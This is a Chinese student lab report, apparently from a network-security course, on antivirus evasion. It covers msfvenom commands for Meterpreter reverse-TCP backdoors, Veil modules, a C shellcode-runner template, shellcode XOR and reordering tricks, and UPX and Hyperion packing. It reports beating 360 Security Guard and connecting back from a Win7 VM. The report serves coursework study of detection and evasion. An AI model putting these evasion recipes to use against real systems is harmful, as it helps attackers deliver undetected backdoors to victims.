zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175221 『网络对抗技术』Exp3:免杀原理与实践

    Exp3 免杀原理与实践

    目录

    • 基础问题回答
      • (1)杀软是如何检测出恶意代码的?
      • (2)免杀是做什么?
      • (3)免杀的基本方法有哪些?
    • 实验总结与体会
    • 实践过程记录
      • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
      • 通过组合应用各种技术实现恶意代码免杀
      • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    • 离实战还缺些什么技术或步骤?

     


     

    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征检测:恶意代码中一般会有一段有较明显特征的代码(特征码),如果杀毒软件检测到程序包含的特征码与其特征码库的代码相匹配,则认定该程序为恶意软件。
    • 启发式恶意软件检测:一个程序在做恶意代码通常做的事(鸭子理论),则认定该程序为恶意代码;
    • 基于行为检测:一种启发式恶意软件检测。

    (2)免杀是做什么?

    • 就是利用一些手段伪装我们的后门文件,达到其潜伏在被控主机中且不被被控主机中的杀毒软件检测出来。

    (3)免杀的基本方法有哪些?

    • msfvenom(多次)编码
    • 通过Kali的veil-evasion
    • C+shellcode
    • 加壳

    (4)开启杀软能绝对防止电脑中恶意代码吗?

    • 通过这次实验可以看出,就连自己手工生成的c+shellcode,安全卫士就杀不出,所以开启杀软肯定不是绝对能防止电脑中恶意代码的!

    2. 使用msf编码器生成后门程序及检测

    • 把实验二中生成的后门程序“20175221_backdoor.exe”后放到virtotal网站中扫描结果如下:
    • 结论:可见不加任何处理的后门程序,会被绝大多数杀毒软件识别。用msf编码器对后门程序进行多次的编码,看看是否对免杀有所作用。
    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.189.128 LPORT=5221 -f exe > 5221-encode.exe
    • 结论:加了编码后的后门程序一样能被查杀出来,对免杀的效果其实不大。
    • 其实也是预料之中,msfvenom会以固定的模板生成exe,在业内业内也算比较有名。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样便解决了所有msfvenom生成的恶意代码。
    • 我们继续使用msfvenom生成其他平台的可执行程序
    • 生成jar并将其放在平台扫描(35/61)
    • 生成php并将其放在平台扫描(3/59)
    • 结论:可见,同样是生成可执行文件,但由于jar(Java平台的可执行文件)php(Web平台下的可执行文件)并不是Windows下的可执行文件,所以可降低被杀软发现的概率

    3. 使用veil-evasion生成后门程序及检测

    • 这里我根据老师提示,尝试地试用了一下msfconsole中的veil模块来生成后门程序
    • 首先看看有什么evasion模块
    • 试试windows/windows_defender_exe这个模块 use windows/windows_defender_exe 
    • 查看要配置的参数 show options 
    • 随后类似于实验2的步骤设置好LHOST和LPOST等参数,并生成后门文件 pSkLYhl0cB.exe
    • 随后使用ncat将生成的后门文件传到主机
    • 将veil生成的文件再次放到virtotal下扫描:
    • 结论:可以看到比之前生成的exe文件报毒率低,但依旧未起到免杀效果。没办法,再换下一个半手工注入shellcode

    4. 注入Shellcode并执行

    • 首先按照实验2的方法,生成ShellCode代码,利用生成的shellcode编写后门程序,自己打造恶意软件。
    • 生成ShellCode如下:
    • 随后编写 20175221.c 文件,将unsigned char buf[]赋值到其中
    • unsigned char buf[] = 
      ShellCode
      
      int main()
      {
          int (*func)() = (int(*)())buf;
          func();
      }
    • 使用命令: i686-w64-mingw32-g++ 20175221.c -o zxj_ShellCode_5221.exe 编译这个.c文件为可执行文件:
    • 测试其可用性,发现杀软发现
    • 于是按照指导书的提示,打开类似CodeBlock这样的C编译器直接编译
    • 就可以回连kali,收到shell
    • 最后试试加壳,什么是加壳?
      • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
      • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
      • 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
      • 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
      • MSF的编码器使用类似方法,对shellcode进行再编码。
    • 从技术上分壳分为:
      • 压缩壳:减少应用体积,如ASPack,UPX
      • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
      • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
    • 我们进行加壳+异或试试
    • 结果还是一运行就被360拦住了
    • wine hyperion.exe -v zxj_shellcode_5221_2.exe zxj_upxed_Hyperion.exe对其继续进行加密壳Hyperion
    • 再试一下报毒,也还是很多可以查出来
    • 360扫描了一下,意外发现竟然扫不出来!
    • 随后测试回连
    • 结论:加壳我感觉效果也一般,推断是因为一般病毒都是加壳伪装后的,杀软会觉得加壳过后的软件属于病毒特征,然后拦截住

    通过组合应用各种技术实现恶意代码免杀

    • 也就是总结前边讲过的:半手工打造一个恶意代码再加壳
      • 使用msfvenom生成shellcode数组
      • C语言调用这个数组,Windows平台下编译运行该可执行文件exe
      • 其中一二步都对shellcode进行了异或,最后还是回到了原来的样子,但这样杀软就不容易发现这个恶意代码
      • 在杀软打开的情况下可以不被查杀并且回连kali
      • 然后对这个未加壳的恶意代码加壳(压缩壳和加密壳)

    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 电脑环境:win7虚拟机
    • 杀毒引擎:360安全卫士
    • 杀软版本:11
    • 木马库版本时间:2020-03-27
    • 回连Win7
    • 再尝试一些新东西?

    • 对c+shellcode生成的后门文件,最直接的想法是加密。再将密文shellcode填入木马源代码中,在执行过程中通过密钥和解密算法进行解码,以此变为正常的shellcod。
    • 因为从杀软辨别恶意代码的角度来看,其似乎是根据shellcode的表现形式,启动方式来判定的
    • 有了这个想法之后,便开始对生成的shellcode动手。先来一个最简单的逆序,如果有效果再继续实验:
    • 把它丢到virustotal里边,发现报毒真的少了很多
    • 再试一下奇偶错位:
    • 报毒反而比逆序高,看来并不是越花里胡哨地对shellcode改变就能够躲避杀软的检查的
    • 但值得一提的是,对shellcode进行改变生成的这两个恶意代码,竟然都躲过了360和联想管家的查杀!
    • 灵机一动,如果将shellcode换成很普通的如12345会怎么样
    • 发现依旧是会被查杀,但是我们很清楚,这不可能是恶意代码
    • 所以很容易联想到,杀软的查杀方法并不是看shellcode的内容,关注的应该是对程序进行反汇编后,程序有没有对call指令的调用 VirtualProtect() 
    • 这类操作敏感从而导致杀软报毒
    • 离实战还缺些什么技术或步骤?

    • 首先,这次实验使用组合技做出的程序虽然能够不被杀软检测到,但这毕竟也只是简单的综合利用技术进行改造。而且电脑管家也非常局限,我只用了360安全卫士,与之相对的,将程序放到virustotal上依旧会有很多其他软件能够报毒
    • 这说明病毒库是时时更新,不断发展的。所以我们依旧需要学会更多技术来使达到免杀的目的。
    • 其次,如果从实战的角度出发,就算杀软没有报毒,但如何伪装好让靶机点开我们的恶意代码,如何嵌入到靶机中,这些都是问题。

    • 最后,当我们真的进入靶机的DOS界面,我们应该如何隐蔽而又快速地收集信息、提权、构造后门等操作,并清理痕迹等。


    实验遇到的问题及解决方法

    • 1)安装veil时遇到问题

    • 这是因为wine配置有问题,得自己先手动安装一些文件:
    • mkdir -p ~/.cache/wine
      cd ~/.cache/wine 
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
      wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
    • 心得体会:

    • 这次试验的难点我感觉是在配环境(veil),其余部分与前几次实验类似感觉不难
    • 按照老师的指导书和网上的一些方法,要做到针对某一杀软免杀并不算很难。但想要骗过所有杀软,那就是不容易了(反正我没有成功)
    • 另外上课时记得最深的一点就是,老师提醒做出能骗过自己杀软的东西,尽量不要往virustotal这些网站丢,因为这很有可能会让别人警惕你的软件,做出提取特征码等安全措施。这样你的恶意代码很快就不灵了
    • 总而言之,感觉自己花费了许多时间做出来一个能骗过杀软的东西是很有成就感的事情
    • 但也提醒了我类似于360,腾讯管家这些也并不是就特别可靠。
    • 只有自身的知识储备过关了,知道怎么反杀免杀等等,才能真正把自己的PC保护好。

     

  • 相关阅读:
    5.3 java虚拟机的体系结构
    5.2 java虚拟机的生命周期
    3.11.5 doPrivileged()方法
    3.11.1 implies方法
    MT【178】平移不变性
    MT【177】三个乘积和
    MT【176】两两乘积
    MT【175】刚刚凑巧
    MT【174】凹凸无妨
    MT【173】齐次消元单变量
  • 原文地址:https://www.cnblogs.com/zxja/p/12516837.html
Copyright © 2011-2022 走看看